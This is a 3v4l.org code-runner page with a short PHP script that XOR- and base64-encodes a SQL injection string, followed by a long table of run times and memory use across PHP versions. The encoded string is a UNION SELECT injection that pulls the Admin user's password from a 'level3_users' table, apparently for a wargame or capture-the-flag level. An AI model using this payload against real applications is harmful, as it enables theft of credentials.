3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("qzqsd' union select 1,password,3,4,5,6,7 from level3_users where level3_users.username='Admin' # ")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00918.68
8.3.50.0080.01221.92
8.3.40.0120.00318.70
8.3.30.0140.00319.04
8.3.20.0040.00420.33
8.3.10.0080.00022.05
8.3.00.0080.00022.59
8.2.180.0100.00716.32
8.2.170.0150.00022.96
8.2.160.0070.00720.39
8.2.150.0050.00324.18
8.2.140.0080.00024.66
8.2.130.0060.00326.16
8.2.120.0080.00019.36
8.2.110.0090.00021.93
8.2.100.0080.00419.64
8.2.90.0000.00719.36
8.2.80.0050.00317.97
8.2.70.0000.00917.50
8.2.60.0000.00818.02
8.2.50.0040.00418.07
8.2.40.0020.00518.34
8.2.30.0070.00018.10
8.2.20.0070.00017.64
8.2.10.0060.00319.64
8.2.00.0000.00717.78
8.1.280.0040.01125.92
8.1.270.0040.00422.06
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0060.00324.04
8.1.230.0070.00419.00
8.1.220.0000.00817.79
8.1.210.0000.00818.77
8.1.200.0060.00317.36
8.1.190.0050.00317.29
8.1.180.0000.00818.10
8.1.170.0030.00518.33
8.1.160.0000.01122.03
8.1.150.0060.00318.57
8.1.140.0040.00417.42
8.1.130.0000.00717.78
8.1.120.0000.00717.43
8.1.110.0040.00417.43
8.1.100.0040.00417.35
8.1.90.0040.00417.41
8.1.80.0050.00317.35
8.1.70.0040.00417.26
8.1.60.0070.00417.65
8.1.50.0000.00717.52
8.1.40.0060.00317.50
8.1.30.0040.00417.68
8.1.20.0030.00617.71
8.1.10.0050.00217.57
8.1.00.0050.00217.34
8.0.300.0040.00418.77
8.0.290.0050.00217.28
8.0.280.0000.00718.35
8.0.270.0070.00017.30
8.0.260.0070.00016.77
8.0.250.0000.00617.01
8.0.240.0060.00316.99
8.0.230.0030.00316.93
8.0.220.0060.00016.84
8.0.210.0070.00016.82
8.0.200.0040.00416.95
8.0.190.0050.00316.84
8.0.180.0000.00716.84
8.0.170.0050.00216.87
8.0.160.0000.00816.80
8.0.150.0000.00716.74
8.0.140.0030.00416.82
8.0.130.0030.00313.35
8.0.120.0000.00716.85
8.0.110.0040.00416.95
8.0.100.0070.00016.79
8.0.90.0000.00716.99
8.0.80.0140.00716.93
8.0.70.0050.00316.83
8.0.60.0070.00016.80
8.0.50.0040.00416.78
8.0.30.0090.01317.25
8.0.20.0100.00817.40
8.0.10.0000.00816.89
8.0.00.0110.01016.78
7.4.330.0030.00315.00
7.4.320.0030.00316.40
7.4.300.0000.00616.61
7.4.290.0030.00516.56
7.4.280.0040.00416.51
7.4.270.0080.00016.45
7.4.260.0030.00316.39
7.4.250.0000.00816.64
7.4.240.0000.00716.45
7.4.230.0040.00316.61
7.4.220.0070.01016.73
7.4.210.0100.00316.65
7.4.200.0000.00716.68
7.4.190.0030.00316.70
7.4.160.0090.00616.55
7.4.150.0120.00917.40
7.4.140.0090.01217.86
7.4.130.0090.00816.50
7.4.120.0100.00816.59
7.4.110.0100.00716.52
7.4.100.0140.01116.49
7.4.90.0030.01416.40
7.4.80.0030.01419.39
7.4.70.0060.01316.50
7.4.60.0170.00516.61
7.4.50.0000.00716.30
7.4.40.0060.00922.77
7.4.30.0100.00716.39
7.4.00.0090.00614.74
7.3.330.0070.00013.45
7.3.320.0050.00013.41
7.3.310.0070.00016.25
7.3.300.0070.00016.38
7.3.290.0100.00416.41
7.3.280.0100.00516.38
7.3.270.0110.00717.40
7.3.260.0140.00916.66
7.3.250.0100.01016.51
7.3.240.0070.01416.32
7.3.230.0100.00716.39
7.3.210.0150.00316.46
7.3.200.0070.01419.39
7.3.190.0100.01316.47
7.3.180.0120.00316.66
7.3.170.0130.00316.52
7.3.160.0030.01316.45
7.3.120.0070.00714.77
7.3.10.0060.00616.66
7.3.00.0040.00716.27
7.2.330.0070.01016.69
7.2.320.0110.00716.80
7.2.310.0030.01516.66
7.2.300.0070.01416.63
7.2.290.0060.01016.74
7.2.130.0040.00816.93
7.2.120.0080.00016.75
7.2.110.0080.00317.02
7.2.100.0040.00416.94
7.2.90.0030.00616.80
7.2.80.0090.00417.02
7.2.70.0060.00617.12
7.2.60.0050.00816.69
7.2.50.0070.00716.82
7.2.40.0080.00416.87
7.2.30.0030.00717.02
7.2.20.0060.00617.05
7.2.10.0030.00916.87
7.2.00.0040.00818.06
7.1.250.0110.00415.78
7.1.200.0060.00615.71
7.1.100.0100.00317.71
7.1.70.0000.00917.18
7.1.60.0130.01019.82
7.1.50.0060.00616.54
7.1.00.0070.07322.57
7.0.200.0110.00316.80
7.0.140.0000.08022.16
7.0.110.0600.07719.95
7.0.100.0600.06320.10
7.0.90.0600.05020.04
7.0.80.0730.04319.90
7.0.70.0600.07719.95
7.0.60.0530.04020.08
7.0.50.0700.08320.51
7.0.40.0030.08320.19
7.0.30.0130.07020.24
7.0.20.0170.07020.03
7.0.10.0100.08020.04
7.0.00.0130.08320.21
5.6.260.0130.07720.60
5.6.250.0100.07020.67
5.6.240.0070.07720.67
5.6.230.0100.07720.48
5.6.220.0030.08020.66
5.6.210.0130.05720.62
5.6.200.0130.07321.07
5.6.190.0130.08021.20
5.6.180.0130.07721.15
5.6.170.0170.04021.27
5.6.160.0000.08321.10
5.6.150.0070.08720.96
5.6.140.0070.08321.20
5.6.130.0100.04721.26
5.6.120.0070.05021.14
5.6.110.0100.08021.22
5.6.100.0100.07320.98
5.6.90.0100.08020.95
5.6.80.0130.07020.47
5.6.70.0170.06320.53
5.6.60.0030.08320.31
5.6.50.0100.07020.35
5.6.40.0100.08020.39
5.6.30.0070.04720.30
5.6.20.0130.07020.30
5.6.10.0030.08320.43
5.6.00.0100.07320.64
5.5.380.0130.07320.45
5.5.370.0100.07720.24
5.5.360.0030.05320.51
5.5.350.0100.07320.52
5.5.340.0070.08320.80
5.5.330.0130.07020.99
5.5.320.0130.04320.91
5.5.310.0030.08721.04
5.5.300.0100.07020.89
5.5.290.0070.07720.71
5.5.280.0170.07720.88
5.5.270.0100.06320.77
5.5.260.0000.08320.74
5.5.250.0030.08720.61
5.5.240.0130.07720.34
5.5.230.0100.08020.20
5.5.220.0000.09020.28
5.5.210.0030.07320.29
5.5.200.0130.07320.31
5.5.190.0030.07720.26
5.5.180.0000.08720.06
5.5.160.0030.05320.26
5.5.150.0130.07020.25
5.5.140.0100.07720.32
5.5.130.0100.04320.22
5.5.120.0130.07320.26
5.5.110.0030.07020.35
5.5.100.0030.05720.24
5.5.90.0070.07320.15
5.5.80.0070.07020.20
5.5.70.0130.05020.25
5.5.60.0130.07020.07
5.5.50.0130.06320.25
5.5.40.0030.08320.00
5.5.30.0230.03720.04
5.5.20.0200.03320.21
5.5.10.0070.04320.06
5.5.00.0030.08720.02
5.4.450.0100.08019.66
5.4.440.0170.07319.31
5.4.430.0100.07719.55
5.4.420.0100.07719.56
5.4.410.0070.07719.20
5.4.400.0170.06019.01
5.4.390.0170.07319.00
5.4.380.0030.07719.16
5.4.370.0030.08019.02
5.4.360.0100.08018.95
5.4.350.0100.07319.11
5.4.340.0100.04319.01
5.4.320.0100.07019.02
5.4.310.0200.06318.99
5.4.300.0070.04719.00
5.4.290.0070.07718.93
5.4.280.0030.08319.14
5.4.270.0100.07318.95
5.4.260.0100.07319.13
5.4.250.0100.06719.23
5.4.240.0130.04019.18
5.4.230.0100.06719.23
5.4.220.0100.07019.17
5.4.210.0030.05319.08
5.4.200.0070.08019.00
5.4.190.0030.07719.17
5.4.180.0070.07019.17
5.4.170.0070.07319.32
5.4.160.0130.07019.21
5.4.150.0130.06719.07
5.4.140.0030.07716.54
5.4.130.0170.06716.43
5.4.120.0000.07316.60
5.4.110.0030.07016.46
5.4.100.0000.05716.62
5.4.90.0170.06016.48
5.4.80.0130.06316.45
5.4.70.0130.05316.69
5.4.60.0100.06716.48
5.4.50.0070.07316.54
5.4.40.0100.07316.50
5.4.30.0030.07316.47
5.4.20.0070.07316.54
5.4.10.0100.07316.53
5.4.00.0170.06715.80
5.3.290.0100.07314.70
5.3.280.0030.04714.59
5.3.270.0070.04314.74
5.3.260.0130.07014.62
5.3.250.0000.08314.63
5.3.240.0230.06714.69
5.3.230.0030.07714.61
5.3.220.0200.06014.60
5.3.210.0000.05314.58
5.3.200.0070.07714.71
5.3.190.0130.07014.55
5.3.180.0030.04714.60
5.3.170.0130.07014.65
5.3.160.0100.07014.52
5.3.150.0070.04314.59
5.3.140.0130.06014.54
5.3.130.0030.07014.68
5.3.120.0070.06714.54
5.3.110.0070.07314.57
5.3.100.0070.06714.18
5.3.90.0000.08014.13
5.3.80.0070.07314.00
5.3.70.0030.07714.17
5.3.60.0070.07013.98
5.3.50.0170.03314.10
5.3.40.0070.05713.95
5.3.30.0070.06714.14
5.3.20.0000.08313.70
5.3.10.0030.07313.66
5.3.00.0070.05013.65
5.2.170.0030.06013.38
5.2.160.0100.04713.38
5.2.150.0070.06013.38
5.2.140.0070.05713.38
5.2.130.0070.06313.38
5.2.120.0070.03313.38
5.2.110.0070.03313.38
5.2.100.0070.02713.38
5.2.90.0100.05013.38
5.2.80.0000.06013.38
5.2.70.0100.05713.38
5.2.60.0030.05713.38
5.2.50.0030.06713.38
5.2.40.0070.05713.38
5.2.30.0100.04713.38
5.2.20.0100.03013.38
5.2.10.0100.04313.38
5.2.00.0100.05313.38
5.1.60.0070.05313.38
5.1.50.0130.04313.38
5.1.40.0030.05013.38
5.1.30.0030.05713.38
5.1.20.0000.03313.38
5.1.10.0030.05713.38
5.1.00.0030.05713.38
5.0.50.0070.04013.38
5.0.40.0070.04013.38
5.0.30.0000.05713.38
5.0.20.0030.04313.38
5.0.10.0070.03313.38
5.0.00.0000.07013.38
4.4.90.0030.03313.38
4.4.80.0030.03313.38
4.4.70.0030.03313.38
4.4.60.0030.03313.38
4.4.50.0000.03013.38
4.4.40.0100.04713.38
4.4.30.0000.03313.38
4.4.20.0130.03013.38
4.4.10.0100.02713.38
4.4.00.0000.05313.38
4.3.110.0030.03313.38
4.3.100.0100.01013.38
4.3.90.0030.03013.38
4.3.80.0030.03313.38
4.3.70.0070.03313.38
4.3.60.0070.01313.38
4.3.50.0070.03013.38
4.3.40.0070.03013.38
4.3.30.0000.04013.38
4.3.20.0030.02713.38
4.3.10.0000.03013.38
4.3.00.0030.03313.38

preferences:
41.17 ms | 401 KiB | 5 Q